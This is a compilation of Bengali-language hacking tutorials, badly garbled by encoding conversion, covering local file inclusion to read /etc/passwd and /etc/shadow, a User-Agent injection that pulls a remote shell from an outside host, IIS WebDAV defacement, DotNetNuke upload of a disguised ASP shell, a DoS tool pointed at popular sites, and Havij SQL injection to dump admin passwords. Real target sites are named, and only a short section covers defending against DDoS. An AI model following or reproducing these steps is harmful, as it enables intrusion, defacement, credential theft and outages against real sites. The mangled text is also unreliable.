অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম

এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র

wwwmywebsitecomindexphppage=mypagephp

এখাচছন

সদচছখন mypagephp াতাটি

াবব াচছয

সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-

Warning

include() [functioninclude] Failed opening mypagephp for

inclusion

তাচছর

এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd

এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

এখন

অভযা পাআচছর

পরচছফ

কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip

wwwmywebsitecomindexphppage=products

এখাচছন

একটা কতজকতন রকষয করন সম

php এয

য page=products যচছযচছছ

এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র

$page=$_GET[page]

include($pagelsquophplsquo)

gt

এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpassd

wwwmywebsitecomindexphppage=etcpasswd

wwwmywebsitecomindexphppage=etcpasswd

সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip

etcprofile

etcservices

etcpasswd

etcshadow

etcgroup

etcsecuritygroup

etcsecuritypasswd

etcsecurityuser

etcsecurityenviron

etcsecuritylimits

usrlibsecuritymkuserdefault

এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ

------------------------------------------------------------------------------------------

hellipএবার িঅমরা হযাসকিং মদেবhellip

Requirements

1) Site vulnerable to LFI ( httpwwwsitecom)

2) Remoteshell( httpwwwyourhostingurshelltxt)

3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher

4) Mozilla Firefox Browser

পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা

Google ―Dork

indexphphomepage=

indexphppage=

indexphpindex2=

allinurlindexphppage=

অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন

সমভন

allinurlsitephpsite=

এফায ডক গগচছর কতদচছয াচব কতদন

অভযা

কতনচছছয ভত একটি াআট কতনরাভ

httpwwwfilllpgcoukindexphppage=contactsphp

এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ

httpwwwfilllpgcoukindexphppage=null

তাচছর নীচছচয ভত সদখাচছফ

If you see a list of errors running down the page or missing content

(pictures text etc) then the site is vulnerable and we may continue

otherwise just move on to the next site

Now were going to try and connect to a file which we know exists on Linux

servers etcpasswd

Since indexphp has the rights to connect to a file like contactsphp its

possible that the administrator has forgottten to restrict its access to other

files including the files containing sensitive data

Were going to try to read the file etcpasswd which contains data

on root users etc

অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত

াকতয নীচছচয ভত

এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ

httpwwwfilllpgcoukindexphppage=etcpasswd

মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান

েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG

etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয

httpwwwfilllpgcoukindexphppage=procselfenviron

েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG

এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent

ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip

েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG

এফায

অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর

অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন

েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG

এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং

User-Agent টি এখাচছন সি করন User-Agent এয Tools

ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন

তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন

েসব মদেি http2bpblogspotcom-

kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG

এফায

Ctrl+F সচচছ

―disable_functions খচছজ সফয করন

disable_functions

| no value | no value

এখন

অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান

Edit করন

এফায ―User-Agent টি কতযফতব ন কচছয কতরখন

httpwwwsh3llorgegytxt -O shellphp)gt[

এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]

এফায

এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক

েসব মদেি http3bpblogspotcom-

SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG

কতকছ

সডচছভা

াআট কতরংক কতদরাভ

কতকছ

াআট LFI httppastebinca2385927

কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ

httpwwwyoutubecomwatchv=FP229bKm5v4

httpwwwyoutubecomwatchv=9W9qWAhwaTo

httpwwwyoutubecomwatchv=hMguilRsteY

কাচছটব কত-কতনফবাকতচত টিউনাযtrade

অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ

সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত

অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয

উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ

WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-

00A0C90AB50F

কতরচছখ Enter চান

২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo

ছকতফ

৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address

Google Dork - ldquoPowered by IISrdquo

৪কতিক NextgtNextgtFinish

৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন

এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik

কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয

gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt

কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব

ফাংরা যাকতকং টিউচছটাকতযযার

পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন

ছকতফ

এফায Next ফাটচছন কতিক করন

ছকতফ

অফায Next করন

ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg

এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom

ছকতফ

অফায Next ফাটচছন কতিক করন

এফায Finish ফাটচছন কতিক করন

ছকতফ

এফায Network Location Option mdashgt website folder এ কতিক করন

ছকতফ

এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন

wwwzidducomdownload16498227shellziphtml

এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন

ছকতফ

এফায Poweraspjpg পাআরটি ককত করন

ছকতফ

এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন

ছকতফ

সি কযা সল

এফায অনাযা বরাউজাযটি চছন করন

তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন

সমভনঃ httpwwwmyxixiacompoweraspjpg

ছকতফ

তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ

ছকতফ

এফায অনাযা deface html পাআরটি চছন করন

এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন

এফায সকাড ফগচছরা ককত করন

ছকতফ

এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন

ছকতফ

সব কযায য অকতন এভন একটি সজ াচছফন

ছকতফ

এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান

কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related

`

DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন

inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx

গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না

ছকতফ

২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ

৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা

ছকতফ

৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)

ছকতফ

৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ

৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত

কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয

কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায

সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww

কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক

ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ

কতকবাচছফ DdoS যাটাক কযফ

পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন

DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য

এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ

থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক

এফায DDoS এটায ণব র চছে Distributed Denial of Service ফযাায টা এবাচছফ কতচনতা করন hellip অকতন যাসতা কতদচছয সচছট মাচছেন ঠাৎ কচছয অনাচছকএকজন কতছনতাআকাযী অকরভন কযচছরা

এখন অকতন মকতদ গাচছয গতচছয তায সথচছক একট কতিারী চছয থাচছকন এফং বাগয খাকতনক টা পরনন চছয থাকচছর অকতন উরচছটাআ কতছনতাআকাযী সক কতটিচছয তিা ফাকতনচছয কতদচছয াচছযন

কতকনত মকতদ অনাচছক ১ জচছনয জাযগা সত ১০ -১২ জন অকরভন কচছয

১৫ কতদন য াাতার সথচছক ছািা াচছফন ঠিক এযকভ ফযাায আ চছে DDoS DoS এয ভত কচছযআ কাজ কচছয কতকনত DDoS এ চছনক সফী যাটাকায একাচছথ কাজ কচছয পরাপর বযাফ

অভায কথাফাতব া কতক একট উদভট রাগচছছ S এতখন মা ফররাভ তা কতক দচছফবাধয রাগচছছ তাচছর কতনচছচয কতচতরগচছরা সদখন ফচছঝ জাচছফন কতকবাচছফ DoS এফং DDoS কতকবাচছফকাজ কচছয

একটা াধাযণ কাচছনকন কাজ কচছয এআ বাচছফ কতনচছচয কতচচছতরয ভত কচছয

কতকনত DoS যাটাক টা চছে কতনচছচয ভত

অয DDoS যাটাক চছে কতনচছচয কতচচছতরয ভত

D0S DDoS attack এয কাযন কতক

২ টা কাযচছন DoSDDoS যাটাক চছয থাচছক ১) যাকায এয কভতরচছফ থফা ২) sysadmin এয বার ভতরফ এ

অন সদচছখ সনআ সক কতক কাযচছন যাটাক কচছয থাচছক

১) যাকাযচছদয কভতরফ

খফআ নাটকীয উাচছয আ াবব ায এ কতনচছজয কতডকতজটার পটকতপরনট ঢাকায জনয আ াবব ায সক সফাকা ফানানয উচছেচছ

ফ সথচছক যাতন ভানকতফক সদাল যাগ থফা সকরাধ সথচছক কতফনা কাযচছন

যত যাকায আ াবব ায এ একটা সটরাজান আনসটর কচছযচছছ কতকনত তা একটিব কযচছত একটা কতযোটব রাগচছফ তায জনয এআ যাটাক

থফা শধ ভাতর একজন কতিপট কতককতড কতনচছজয ভকতনসযানা সদখাচছনায জনয

থফা কতনতানতআ পরযাকটি এয উচছেচছ

২) sysadmin এয বার ভতরফ

নতন সকান যাচ অচছডট থফা আনসটর কযা চছর তায কতসথকততীরতা যীকষা কযায উচছেচছ

াবব ায এফং কতচছেভ এয বারনাকতফকতযকতরটি ফা বেযতা সক যীকষা কযায উচছেচছ

কতচছেভ এয যানযাচছয সপরাগরাভ এয তরটিয কাযচছন

DoS DDoS কতকবাচছফ াবব ায এয ১২ টা ফাজায

DoS DDoS াধাযনত ২ বাচছফ াবব ায এয কষকতত কচছয থাচছক ১) াবব ায সক করযা ককতযচছয ২) াবব ায সক ফলাড ককতযচছয

ড যাটাক এয কভন কামবপরণারী গচছরা চছে -

কতফকতবনন যকভ কতযচছাব গচছরা সমভন ফযানডউআথ পরচছয টাআভ কতডসক সসপ আতযাকতদ ফযসত যাখা

কনকতপগাচছযন আনপচছভবন সমভন রটিং আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

সেট আনপচছভবন গচছরাচছক ফযাত কচছয কতফঘন কযা

কতপকতজকার সনটযাকব এয কতফকতবনন ং গচছরাচছক ফযাত কচছয কতফঘন কযা

াধাযণ আউজায এফং াবব ায এয সবতয সমাগাচছমাগ কতফকতছনন কযা সমাগাচছমাগ সথান কযচছত ফাধা সদযা সভকতন এয ভাআচছকরাচছকাড গচছরাচছত এযয সদখাচছনা পরচছয এয ফ কষভতাচছক ফযফায কচছয নতন সকান কাজ শর যা সথচছক কতফযত যাচছখ

--------------------------------------------------------------------------------------------------------------------------------------

----------------------

অর ং DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ কতকবাচছফ DdoS যাটাক কযফ

Ddos এটাক চছে চছযফ কতচছেভ ডাউন কযায একটি িকতত ফাআ কতভচছর কাজ কযচছর সমচছকান ফাঘা ফাঘা াআট ডাউন কচছয সদযা মায কতফসতাকতযত এখন ফরকতছ না শধচছদচছখ মান কতক কতক কযচছত চছফ চছনক বাচছফআ DdoS যাটাক কযা মায তচছফ অকতভ নফ সেনডকতর নতন সদয জনয জ িকতত টাআ এখাচছন অজ সদখাফ কতনচছচয ধাগচছরা নযন করন তাচছর খফ চছজআ সম সকউ াযচছফন ড যাটাক কযচছত

পরথচছভআ সদখচছত চছফ অভযা সম াআট টাচছত ড যাটাক কযফ তায াবব ায ড যাটাচছকয কাচছছ ায ভানচছফ কতকনা এফং এয অআকত কত

এটা সদখায জনয পরথচছভ httpuptimenetcraftcom এআ কতরচছে মান এফং সম াআট টা অকরভন কযচছত চান তা কতনচছচয সদখাচছনা কতচচছতরয ভত কচছয কতনকতদব ি ফকস এ কতরখন

এফাযাচব সযজাি অচছর কতনচছচয কতচতর সত সদখাচছনা ২ টা ং রকষয করন পরথভটি অভাচছদয সক ফরচছফ আ কতনকতদব ি াআট টি ড যাটাক এ কাফ চছফ নাকতক অয ২যটি থবাৎ অআকত যাচছে টা একটা সকাথা কতরচছখ যাখন

রকষযকরন Apache1327 ( Unix) সরখা টি এটা আ কতনকতদব ি াআট এয াবব ায এখাচছন মকতদ কতনচছচয ৩ টায সমচছকাচছনা একটা সদচছখন তাচছর ফঝচছফন সম এআ াআট এ ডযাটাক কচছয পরাপর াযা মভফ

Apache 1x Apache 2x

GoAhead WebServer

---------------------------------------------------------------------------------------------------------------------------------------

---------------------

এফায শর চছয মান অর সখরায জনয DoS কতক DoS যাটাক কতক সকন কতকবাচছফ

পটযযাযটি ডাউনচছরাড ফা এটি কতনচছয কাজ কযায অচছগ অনায কতকতয একতনটবাআযাচছয সপরাচছটকন প যাখন

এটিচছক অনায একতনট বাআযা সটরাজান ফা বাআযা কতাচছফ কতডচছটকট কযচছত াচছয তচছফ বয নাআ এটি সকান বাআযা ফা সটরাজান নয কতনবব চছয আউজ করন

পটযযাযটি পরথচছভ কতনচছচয কতরে সথচছক ডাউনচছরাড কচছয কতনন এফং Extract করন

httpwwwmediafirecomfamiivi799a9459

পটযযাযটিডাফর কতিক কচছয চছন করন মাচছদয উআচছনডাজ ৭ তাযা পাআচছর যাআট কতিক কচছয Run as

administrator এ কতিক কচছয চছন করন কতনচছচয ভত উআচছনডা অচছফ

১ URL ফচছকস সম সকান াআচছটয নাভ সরখন

(ফাআ কতভচছর একটি াআট কতচছরকট কযচছত চছফ কতচছের এটাচছক াআচছটয কতকছআ চছফ না ট াআচছটয কতরে httpwwwalexacomtopsites এখান সথচছক াচছফন তাআ ফাআ কতভচছর একটি াআট কতচছরকট করন সমটিচছক ডাউন কযচছত চান)

২ lock on কতচছরকট করন

৩ সদখচছফন অআকত রক চছয কতগচছযচছছ

৪ কতচতর এয ভত কচছয http কতচছরকট করন

৫Threads ফকস এ 1000 টাআ করন

৬ এফায EMMA CHARGIN MAH LAZER ফাটনটি সত কতিক করন

৭ ফলাকতডং শর চছয মাচছফ

------------------------------------------------------------------------------------------------------------------------------------------------------------ DoS DDoS এয সথচছক ফাচায উায কতক

ফাচায জনয পরথচছভ অনাচছক জানচছত চছফ অকতন অকরানত কতকনা অয তা সফাঝায জনয সখযার করন

১ যাচছকট র চছে কতকনা থফা কততকতযি ভাতরায াবব ায সরটকযচছছ কতকনা রযাগ চছে কতকনা ২) কততকতযি াবব ায সরাড অনায াবব ায এয াচছথ ংমি কাচছনকন গচছরাচছক সচক কযায জনয CMD সথচছক কতনচছচয কভানড টি কতরখন

netstat -ntu | awk lsquoprint $5rsquo | cut -d -f1 | sort | uniq -c | sort -n

মকতদ সদচছখন সকান একটা কতনকতদব ি থফা কাছা কাকতছ অআকত সথচছক ১০০ + কাচছনকন চছযচছছ

তচছফ ফচছঝ কতনচছফন সম খফয খাযা icon sad

এফায অকত কতকবাচছফ অনায াবব ায সথচছক একটা অআকত সক ফযান কযচছফন hellip

মকতদ অনায াবব াচছয APF firewall আনসটর কযা থাচছক তচছফ CMD সত কতরখন

apf -d xxxxxxxx

মকতদ CSF firewall আনসটর কযা থাচছক তচছফ কতরখন

csf -d xxxxxxxx

অয মকতদ দচছটায একটা না থাচছক এফং অকতন মকতদ শধ iptables আউ কচছযন তচছফ কতরখন

iptables -I INPUT 1 -s -j DROP xxxxxxxx

উচছেখ এখাচছন xxxxxxxx এয সথচছর সম অআকত টা ফযান কযচছত চান তা ফচছফ

তচছফ ফচছর যাখা বার অকতন কতনচছজ ফভযআ াবব ায এ ফচছ থাকচছত াযচছফন না এফং এয যত ার এয খফয যাখচছত াযচছফন না

এয জনয অনাচছক অনায সাটিং এয উয কতনবব য কযচছত চছফ এভন কাচছযা কাছ সথচছক সাটিং কতনচছত চছফ মাযা ফভয সডকতডচছকচছটড ড যাটাক াচছাটব সদয

এছািা অচছযা কতগচছরা কতফলয অচছছ সমগচছরায উয সখযার যাখচছরআ াধাযন ড কতডড যাটাকচছথচছক ফাচচছত াযচছফন খফ চছজআ অন সদচছখ সনআ সগর সকভন

াবব ায সভকতন এয যকষা কতনকতশচত করন ফায অচছগ

চছনকভয সদখা মায যাকায যা সম াবব ায সক যাটাক কযচছত চায সটা সকআ ফায অচছগ সছাটট একটা নাননা ভননা সটরাজান কতদচছয ধযাাযী কচছয যাচছখ

পরাপর ড যাটাচছকয ভয াবব ায কতনচছজ কতনচছজয কতফরচছি কাজ কযা শর কচছয অনাচছক কতনকতশচত কযচছত চছফ াবব ায কতনচছজ সমন ফ কতদক সথচছক যকতকষত থাচছক

এযজনয মথা সকান সনোআব সথচছক সকান ডাটা টরানসপায কযচছফন না যকতকষত াআট ঘযাঘকতয কযচছফন না কতনকতশচত তর সথচছক পরাি সকান পাআর যাকতয চছনকযচছফন না

সকান সকান সাটব গচছরা চছন যাখা জরকতয তা সজচছন কতনন মথা পরচছযাজনীয সাটব সখারা সযচছখ ঝাচছভরা ফািাচছফন না

অনায সকান সকান াবব ায সাটব সখারা যাখা উকতচত তা সজচছন কতনচছত ভাআচছকরাপট এয Microsoft Knowledge Base (KB)

অটিব চছকর 150543 চছত সজচছন কতনন

httpsupportmicrosoftcomdefaultaspxscid=kben-us150543ampsd=tech

াচছযটিং কতচছেভ এয কতডপি কতকযকতযটি সথচছক চছফবারচ পাযদা কতনন

উআচছনডাজ াচছযটিং কতচছেভ ফযফায কযচছর কতচছেভ পাআর সচকতকং [ System File Checking ( SFC) ]

এফং আনটাযচছনট কাচছনকন পাযাযযার [ Internet Connection Firewall ( IFC ) ] এনাচছফর কচছয কতনন এগচছরা কতকনত কতডপি বাচছফ কতডজযাচছফর কযা থাচছক

এগচছরা অনায াবব ায কতচছেভ এয কতপিাকতযং াযপচছভবনস ঠাৎ কচছয ফহগন ফাকতিচছয কতদচছফ

কাচছনকটিকতবটি ককতভচছয কতদন

অনায াবব ায এয াচছথ সমাগাচছমাগ ফা কাচছনকন সথান কযায জনয খফ কতনকতদব ি কতকছ সাটব কতচছরকট কচছয কতদন মাচছত কচছয াবব ায

এফং কাচছনকটিং কতচছেভ দচছটাযআ পাযাযযার িণব ফযাায তা ধযচছত াচছয উদাযণ সবর HTTP SMTP FTP IMAP

এফং POP সাটব গচছরা কতচছরকট করন অনায াবব ায এয াচছথ কাচছনকন এয জনয কতনযধাকতযত সাটব গচছরা

এগচছরা চছনক যকতকষত এফং কতনকতশচত icon smile

পাযাযযার ফযফায করন

উআচছনডাজ এয পাযাযযার মচছথি বার কতকনত মবাি বার না এয জনয অকতন নয পাযায যার ফযফায কচছয সদখচছত াচছযন

এচছত কচছয আনফাউনড অউটফাউনড ফ ধযচছনয কাচছনকন এয উয খফ চছজআ অকতন সচাখ যাখচছত াযচছফন

এফং অনায কতচছেভ াবব ায যকষা সফচছি মাচছফ চছনক গচছন কতগর বার পাযাযযার এয ঠিকানা অকতভ এখাচছন কতদচছয কতদকতে সদচছখ কতনন

httpwwwsymanteccomindexjsp httpwwwsymanteccomindexjsp httpwwwzonealarmcom httpwwwcomodocom

এছািা DoS DDoS attack রযন এয াাময সনযা মায সমভন RioRey

সািটি - pirate_king এফং শভর অকাgtgtgtgtgtএয সাে সথচছক একতডট কযা চছযচছছ

heartsheartshearts Havij

SQLi টিউমটাসরো heartsheartshearts

Download

Havij 15 Pro httpwwwmediafirecoms7a89dxmfwxcyij

পরথচছভ GoogleCom এ মান

এফায কতনচছচয গগর ডকটি কতরচছখ াচব কতদন

inurlphpid=

তাচছর চছনকগচছরা পরাপর সদখাচছফ

এখাচছন চছনক Dork াচছফন httppastebincomDvnHxg7i

সদখন পরাপর সদখাচছে ldquoপরায 2010000000টি পরাপর(023 সচছকনড) rdquo

এফায সম সকান একটি াআচছট পরচছফ করন

এছািা অকতন সম সকান াআট ধযচছত াযচছফন সম ফ াআচছটয য phpid= অচছছ সআ ফ াআচছট াযচছফন সমভনঃ

httpwwwpaulprescottcomthemephpid=10

অভযা এআ াআটটিচছক টাচছগবট কযরাভ

এফায অনায টাচছগবট কযা াআচছটয কতরংচছকয সচছল সদচছখন এভন একটা অচছছ ID=XX এখাচছন XX এয জাযগায সমচছকান নং অচছছ সমভন অভায এখাচছন অচছছ ID=10

এফাযয এআ কতরংচছকয সচছল একটা ( lsquo ) রাগান

এফায এনটায কতদন

এফায মকতদ উচছযয ভচছতা Error সদখায তাচছর ফঝচছফন সম াআটটিচছত inject কযা মাচছফ

এফায ldquoHavijrdquo টরটা চছন করন তাচছর কতনচছচয ভচছতা অচছফ

এফায Error াযা াআটিয কতরংকটি এখাচছন সদন ldquoAnalyzerdquo ফাটচছন কতিক করন (উচছযয কতচতরটি সদখন) এফায কতকছকষণ চছকষা করন তাচছর টরটি চছযফাআটটি যীকষা কযচছফ

মকতদ কাজ য তাচছর এআ যকভ ভযাচছজ কতদচছফ

Current DB XXXX

কতনচছচয ছকতফটি সদখন

এফায ―Tables tab এ মান

এফায ―Get DBlsquos এ কতিক করন

এফায ফাভাচছয যাচছনচছর সদখন ২টা ডযাি পাআর াযা সগচছছ ―paul_third ―information_schema

দটা পাআর

―information_schema অনায ধযায দযকায নাআ এখাচছন MySQL তথয থাচছক

শধ ভাতর ―paul_third কতচছরকট করন

এফায ―Get Tables এ কতিক করন

তাচছর অকতন সটকতফচছরয ডযাি পাআরগচছরা সচছয মাচছফন

এখন অভযা administration panel টি যাক কযচছত সচিা কযফ

এখন ―admin table টি সচক করন

এখাচছন ভাতর ১ জনআ আউজায াচছফন মকতদ অকতন সকান আউজায না ান তাচছর অকতন এখাচছন যাক কযচছত াযচছফন না

এফায ―Get Columns ফাটচছন কতিক করন

তাচছর কতনচছচয ভচছতা অচছফ

এখাচছন ―id ―username ( সম Username কতদচছয চছযফাআচছট রগআন কচছয ) ―password ( সম Password কতদচছয চছযফাআচছট রগআন কচছয) ―email (এডকতভন সম সম আচছভআর কতদচছয সযকতজঃ কচছযচছছ কাজ কচছয)

এফায ―Get Data টযাচছফ কতিক করন

তাচছর টরটি অনাচছক Username Password আচছভআচছরয তথযগচছরা সদখাচছফ

অফায ―Find Admin টযাচছফ কতিক করন

তাচছর এটি অনাচছক Administration Panel login সদকতখচছয সদচছফ

এফায অকতন অনায কতবকটিচছভয চছযফাআটিয নাভ টাআ করন administration panel সফয কযায জনয

তচছফ ভচছন যাখচছফনphpid=XX অফায রাগাচছযন না

